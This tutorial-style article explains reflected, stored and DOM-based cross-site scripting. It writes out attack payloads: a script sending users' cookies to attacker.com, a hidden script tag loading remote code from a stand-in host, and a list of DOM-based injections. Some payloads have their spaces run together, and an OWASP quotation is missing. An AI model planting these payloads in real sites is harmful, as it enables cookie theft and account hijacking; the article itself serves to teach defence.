XSS is said to be one of the most problematic security issues due to the lack of knowledge about it and its lack of prevention among the developer's community.

This is quite simple in some of its implementations, though, and that's why it is so dangerous. There are three known forms of XSS attacks: stored, reflected, and DOM based.

One of the official examples of these attacks (reflected) presents the following code:

"<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

That is, the pages build an input field based on a request. Also, an attacker can modify the page in this way:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

What happens? The inserted code reflects the requested information about a user to the attacker, or to say it as in the OWASP documentation:

The stored version of XSS (there are many, though) is a typical type of attack related to any possible user input, such as a blog with user comments, and so on. The attacker's response is saved in the website's storage system, and that's why the name.

In this scenario, the first thing that an attacker will do is insert into the answer, a character that should be escaped to see whether, indeed, it is escaped (something like a <, for example). If the character shows up (it is not escaped), it means that the programmer doesn't check input in the comments.

Now comes the tricky part: instead of just a humble < sign, you can insert something like this:

<iframe src="http://hackersite.com" height="400" width=500/>

Since this is to be rendered on the page with the rest of the contents, whatever you write will be inserted and shown also. Of course, it would be more evil if instead of using just an iframe, you insert a script tag that loads some dangerous JavaScript:

"></a><script src="http://dangerous_site.com"></script><a href="

This will remain unnoticed to the users since the new anchor tag doesn't contain any text and is unseen. This script will now run when any user visits the Web, sending the attacker the information that the JavaScript code is prepared to send.

Some authors call this technique passive injection as opposed to active injection, in which without knowing the risks, the user participates in the hacking process.

Finally, the DOM-based version of XSS uses DOM tags to perform their actions. These attacks modify tags that are known to search and load external content: img, link, script, input, iframe, object, and even body, div, or table with the excuse of changing the background property.

Here are some examples of these attacks:

<!-- Different DOM Based attacks -->
<!-- External script -->
<scriptsrc=http://hackersite.com/xss.js></script>
<!-- <link> XSS -->
<linkrel="stylesheet"href="javascript:alert('XSS');">
<!-- <img> XSS -->
<imgsrc="javascript:alert('XSS');">
<!-- <input> XSS -->
<inputtype="image"src="javascript:alert('XSS');">
<!-- <object> XSS -->
<objecttype="text/x-scriptlet"data="http://hackersite.com/xss.html"/>

Note that even innocent tags, such as div, table, or body, can be used for these purposes:

<!-- <div> XSS -->
<divstyle="background-image: url(javascript:alert('XSS'))"></div>
<!-- <div> XSS -->
<divstyle="width: expression(alert('XSS'));"></div>
<!-- <table> XSS -->
<tablebackground="javascript:alert('XSS')">
<!-- <td> XSS -->
<tr><tdbackground="javascript:alert('XSS')"></td></tr>
</table>
<!-- onload attribute -->
<bodyonload=alert("XSS")>
<!-- background attribute -->
<bodybackground="javascript:alert('XSS')">